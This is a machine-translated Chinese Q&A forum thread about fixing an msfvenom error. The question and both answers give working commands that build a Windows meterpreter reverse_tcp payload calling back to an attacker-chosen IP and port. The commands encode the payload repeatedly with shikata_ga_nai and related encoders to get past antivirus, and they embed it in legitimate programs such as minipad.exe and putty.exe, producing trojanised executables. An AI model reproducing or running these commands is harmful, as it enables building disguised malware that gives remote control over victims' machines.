错误:您必须为自定义有效负载选择一个拱门

时间:2015-09-05 11:15:38

标签: metasploit

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 -a x86 R |msfvenom -e -t exe -x minipad.exe -k -o minipad123.exe -e x86/shikata_ga_nai -c 8


Attempting to read payload from STDIN...

No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 299 bytes

Error: You must select an arch for a custom payload

已指定架构,但错误仍然存​​在

任何帮助??

2 个答案:

答案 0 :(得分:0)

IN kali linux 2.0 sana必须提供基于以下格式的信息

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai --format=exe > windows.exe

在kali 2.0

中指定编码类型是必要的

现在运行代码
更改window.exe与您应得的位置

答案 1 :(得分:-1)

需要定义模板,并且通过|。符号进行管道迭迭代msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.7 LPORT=4444 -a x86 --platform win -e x86/shikata_ga_nai -i 4 -f raw |msfvenom -a x86 --platform win -e x86/avoid_underscore_tolower -i 3 -f raw -x '/root/putty.exe' -k -f exe >/root/123.exe 迭代编码次数要小于5!

百度翻译: 你需要定义一个模板,使用“|”符号,毕竟“msfvenom”要定义模板....不要忘记使用格式“raw”前几次,最后一种格式使用“exe”... times≤5... enter image description here enter image description here